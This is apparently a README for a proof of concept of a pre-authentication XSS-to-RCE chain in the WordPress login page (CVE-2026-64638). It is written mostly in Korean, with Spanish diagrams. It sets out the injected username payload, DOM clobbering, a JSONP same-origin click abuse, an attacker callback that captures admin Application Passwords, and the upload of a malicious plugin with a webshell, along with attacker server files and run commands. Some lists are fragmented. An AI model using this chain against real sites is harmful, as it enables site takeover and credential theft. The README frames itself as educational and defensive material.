
CVE-2026-64638 (XSS2Shell)의 기능적 PoC: WordPress Core의 사전 인증 XSS에서 RCE로 이어지는 체인. Docker 실습 환경 + Python 공격자 서버 + 기술 분석 및 완화 조치.
XSS2Shell(CVE-2026-64638) 체인에 대한 교육용 Proof of Concept으로, pwn.ai가 독자적으로 발견하여 2026년 8월 7일에 공개한 WordPress Core의 사전 인증(pre-authentication) XSS → RCE 취약점입니다.
CVE-2026-64638은 WordPress 로그인 화면(wp-login.php)의 사전 인증
반사형 cross-site scripting(XSS) 취약점입니다. 2026년 8월 6일에 긴급
보안 릴리스로 공개된 7.0.3 이전의 모든 지원 버전의 WordPress에
영향을 미칩니다. CVSS v4.0 점수는 8.9입니다.
XSS2Shell이라는 이름의 이 체인은 조작된 username으로 실패한 login 시도만으로도 공격자가 다음을 수행할 수 있음을 보여줍니다:
strip_tags)와 WordPress(wp_kses_post)의 두 구문 분석기 간의
불일치를 이용하여 login 페이지에 활성 DOM 요소를 주입.user-profile.js)의 실행 흐름을 가로채
동일 출처로 REST JSONP 요청을 수행.jQuery.globalEval()을 통해 JSONP 응답을 WordPress 출처에서의
JavaScript 실행으로 변환.결과적으로 공격자가 제어하는 링크에 대한 관리자의 단 한 번의 click에서
시작하여 WordPress 서버에서 web 프로세스 사용자(일반적으로 www-data)의
권한으로 원격 코드 실행(RCE)이 이루어집니다.
이 저장소는 엄격히 교육 및 방어 목적의 자료를 포함합니다.
PoC는 로컬에서 재현 가능한 공격 대상 역할을 하는 자체 포함 Docker 환경과 함께 제공됩니다.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. XSS pre-auth en wp-login.php │
│ log=< area id=ajaxurl href=/?rest_route=/&_jsonp=...> │
│ (discrepancia strip_tags ↔ wp_kses_post) │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. user-profile.js dispara .trigger('click') │
│ DOM clobbering de ajaxurl → petición POST al origen │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. REST JSONP responde application/javascript │
│ jQuery.globalEval() ejecuta el callback en el origen WP │
└──────────────────────────────────────────┬──────────────────────────┘
│ callback = window.opener
│ .approve.click
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. SOME: click() cruza la frontera opener→admin │
│ authorize-application.php#approve se pulsa en sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. WP crea Application Password → redirige a success_url │
│ El atacante captura user_login + password en callback.php │
└──────────────────────────────────────────┬──────────────────────────┘
│ HTTP Basic REST
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. POST /wp-json/wp/v2/pages → publica página con <script> │
│ El admin visita la página → JS en origen WP con sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 7. fetch update.php?action=upload-plugin → sube payload.zip │
│ PHP del plugin es accesible directamente sin activarlo │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 8. RCE confirmada: GET /wp-content/plugins/payload/shell.php │
└─────────────────────────────────────────────────────────────────────┘
PoC는 다음 환경의 macOS 또는 Linux에서 실행되도록 제작되었습니다:
zip 확장(payload 수동 구축용, 선택 사항이며 이미
빌드된 ZIP은 payload/에 포함).WordPress를 수동으로 설치할 필요는 없습니다: docker-compose.yml이
MariaDB와 함께 취약한 WordPress 7.0.2(패치 이전 마지막 버전)를 실행합니다.
POC XSS2Shell (CVE-2026-64638)/
├── README.md ← Este archivo
├── docker-compose.yml ← Blanco: WordPress 7.0.2 + MariaDB
├── .env.example ← Variables de configuración
├── exploit.py ← Orquestador en Python (opcional)
├── attacker/ ← Infraestructura del atacante
│ ├── index.html ← Página cebo con la cadena SOME
│ ├── callback.php ← Receptor de la Application Password
│ └── server.py ← Servidor estático + PHP embebido
├── payload/ ← Plugin ZIP malicioso
│ ├── build_payload.py ← Generador del ZIP
│ ├── shell.php ← Webshell mínimo
│ └── payload.zip ← ZIP preconstruido (listo para usar)
└── docs/
├── ANALISIS.md ← Análisis técnico detallado
└── MITIGACION.md ← Guía de mitigación y hardening
cp .env.example .env
docker compose up -d
WordPress는 http://localhost:8080에서 접근할 수 있습니다. 설치 마법사를
따라 관리자 사용자(예: admin / admin-password)를 만드세요.
Dockerfile은 이미지를 패치 7.0.3 이전의 마지막 버전인
wordpress:7.0.2-php8.2-apache에 고정합니다.
# En otro terminal, dentro de attacker/
python3 server.py
공격자 서버는 http://localhost:9000에서 수신 대기하며 다음을 노출합니다:
/ → index.html(미끼 페이지)./callback.php → Application Password 수신기.server.py가 실행 중인 터미널에 다음과 같은 줄이 나타납니다:
[+] Application Password recibida para el usuario 'admin':
XXXX XXXX XXXX XXXX XXXX XXXX
자격 증명은 attacker/captured_credentials.txt에도 저장됩니다.
몇 초 후, index.html의 오케스트레이터가 다음을 수행했을 것입니다:
payload.zip 플러그인을 wp-content/plugins/payload/에 업로드.다음 명령으로 코드 실행을 확인하세요:
curl -sI http://localhost:8080/wp-content/plugins/payload/shell.php
Hacked: true 헤더와 JSON 본문이 RCE를 확인합니다.
체인이 완료되면 다음 endpoints가 증거로 사용됩니다:
| 리소스 | 예상 증거 |
|---|---|
GET /wp-content/plugins/payload/shell.php | Hacked: true 헤더 + JSON {"rce":true,"user":"www-data"} |
attacker/captured_credentials.txt | 캡처된 Application Password |
docs/ANALISIS.md — WordPress 소스 코드를 참조하는
체인의 각 단계에 대한 상세 기술 분석.docs/MITIGACION.md — 권장 완화 조치, hardening
및 7.0.3 patch 검증.MIT 라이선스로 배포됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
wp-admin → 애플리케이션 → 애플리케이션 비밀번호 |
| «SomeApp»이라는 새 항목 |